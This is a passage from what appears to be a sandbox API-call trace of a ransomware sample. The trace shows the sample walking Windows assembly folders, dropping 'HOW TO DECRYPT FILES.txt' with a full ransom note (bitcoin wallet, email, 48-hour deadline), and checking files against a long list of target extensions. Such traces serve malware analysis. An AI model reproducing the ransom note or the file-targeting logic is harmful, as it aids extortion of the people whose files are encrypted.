ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61771db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61771db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0098.816] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0098.816] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61771db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61771db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61771db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="9.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="900~1.0__")) returned 0 [0098.816] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0098.816] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf58415a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf58415a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf58415a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x302e3976, dwReserved1=0x6c6c642e, cFileName="Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0", cAlternateFileName="MI21E7~1.0")) returned 1 [0098.816] lstrcmpA (lpString1=".", lpString2="Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0") returned -1 [0098.816] lstrcmpA (lpString1="..", lpString2="Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0") returned -1 [0098.816] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0098.817] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0" [0098.817] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0") returned 87 [0098.817] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf58415a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf58415a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf58415a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0098.817] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0098.817] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf58415a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf58415a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf58415a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.817] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0098.817] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0098.818] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd632fea0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd632fea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd632fea0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="10.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="1000~1.0__")) returned 1 [0098.818] lstrcmpA (lpString1=".", lpString2="10.0.0.0__b03f5f7f11d50a3a") returned -1 [0098.818] lstrcmpA (lpString1="..", lpString2="10.0.0.0__b03f5f7f11d50a3a") returned -1 [0098.818] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\*.*") returned="*.*" [0098.818] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\", lpString2="10.0.0.0__b03f5f7f11d50a3a" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a" [0098.818] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a") returned 114 [0098.818] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd632fea0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd632fea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd632fea0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0098.819] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0098.819] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd632fea0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd632fea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd632fea0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.819] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0098.819] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0098.819] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd632fea0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd632fea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd632fea0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xf3b8, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0098.819] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0098.819] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll") returned -1 [0098.819] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll") returned -1 [0098.819] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll") returned -1 [0098.819] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\*.*") returned="*.*" [0098.819] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\" [0098.819] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\") returned="" [0098.819] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" [0098.819] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.visualstudio.tools.office.containercontrol.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\how to decrypt files.txt")) returned 0xffffffff [0098.819] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.visualstudio.tools.office.containercontrol.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0098.837] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0098.837] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0098.844] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0098.844] CloseHandle (hObject=0x90) returned 1 [0098.844] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\", lpString2="Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll" [0098.844] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.ems") returned 0 [0098.844] lstrlenA (lpString="*.ems") returned 5 [0098.844] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.db") returned 0 [0098.844] lstrlenA (lpString="*.db") returned 4 [0098.844] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.dbf") returned 0 [0098.844] lstrlenA (lpString="*.dbf") returned 5 [0098.845] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.myox") returned 0 [0098.845] lstrlenA (lpString="*.myox") returned 6 [0098.845] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.myo") returned 0 [0098.845] lstrlenA (lpString="*.myo") returned 5 [0098.845] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.qbw") returned 0 [0098.845] lstrlenA (lpString="*.qbw") returned 5 [0098.845] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.qbb") returned 0 [0098.845] lstrlenA (lpString="*.qbb") returned 5 [0098.845] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.qbm") returned 0 [0098.845] lstrlenA (lpString="*.qbm") returned 5 [0098.845] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.qbo") returned 0 [0098.845] lstrlenA (lpString="*.qbo") returned 5 [0098.845] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.qbx") returned 0 [0098.845] lstrlenA (lpString="*.qbx") returned 5 [0098.845] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.qba") returned 0 [0098.845] lstrlenA (lpString="*.qba") returned 5 [0098.845] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.qby") returned 0 [0098.846] lstrlenA (lpString="*.qby") returned 5 [0098.846] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.qbj") returned 0 [0098.846] lstrlenA (lpString="*.qbj") returned 5 [0098.846] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.ofx") returned 0 [0098.846] lstrlenA (lpString="*.ofx") returned 5 [0098.846] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.qif") returned 0 [0098.846] lstrlenA (lpString="*.qif") returned 5 [0098.846] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.mye") returned 0 [0098.846] lstrlenA (lpString="*.mye") returned 5 [0098.846] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.mbox") returned 0 [0098.846] lstrlenA (lpString="*.mbox") returned 6 [0098.846] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.eml") returned 0 [0098.846] lstrlenA (lpString="*.eml") returned 5 [0098.846] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.pst") returned 0 [0098.846] lstrlenA (lpString="*.pst") returned 5 [0098.846] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.ost") returned 0 [0098.846] lstrlenA (lpString="*.ost") returned 5 [0098.846] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.idx") returned 0 [0098.846] lstrlenA (lpString="*.idx") returned 5 [0098.846] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.dbx") returned 0 [0098.847] lstrlenA (lpString="*.dbx") returned 5 [0098.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.sql") returned 0 [0098.847] lstrlenA (lpString="*.sql") returned 5 [0098.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.mdb") returned 0 [0098.847] lstrlenA (lpString="*.mdb") returned 5 [0098.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.fdb") returned 0 [0098.847] lstrlenA (lpString="*.fdb") returned 5 [0098.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.wab") returned 0 [0098.847] lstrlenA (lpString="*.wab") returned 5 [0098.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.dat") returned 0 [0098.847] lstrlenA (lpString="*.dat") returned 5 [0098.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.txt") returned 0 [0098.847] lstrlenA (lpString="*.txt") returned 5 [0098.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.jpeg") returned 0 [0098.847] lstrlenA (lpString="*.jpeg") returned 6 [0098.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.jpg") returned 0 [0098.847] lstrlenA (lpString="*.jpg") returned 5 [0098.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.png") returned 0 [0098.848] lstrlenA (lpString="*.png") returned 5 [0098.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.php") returned 0 [0098.848] lstrlenA (lpString="*.php") returned 5 [0098.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.cs") returned 0 [0098.848] lstrlenA (lpString="*.cs") returned 4 [0098.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.cpp") returned 0 [0098.848] lstrlenA (lpString="*.cpp") returned 5 [0098.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.rar") returned 0 [0098.848] lstrlenA (lpString="*.rar") returned 5 [0098.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.zip") returned 0 [0098.848] lstrlenA (lpString="*.zip") returned 5 [0098.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.html") returned 0 [0098.848] lstrlenA (lpString="*.html") returned 6 [0098.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.htm") returned 0 [0098.848] lstrlenA (lpString="*.htm") returned 5 [0098.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.xlsx") returned 0 [0098.848] lstrlenA (lpString="*.xlsx") returned 6 [0098.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.xls") returned 0 [0098.848] lstrlenA (lpString="*.xls") returned 5 [0098.849] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.mp4") returned 0 [0098.849] lstrlenA (lpString="*.mp4") returned 5 [0098.849] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.ppt") returned 0 [0098.849] lstrlenA (lpString="*.ppt") returned 5 [0098.849] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.pptx") returned 0 [0098.849] lstrlenA (lpString="*.pptx") returned 6 [0098.849] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.doc") returned 0 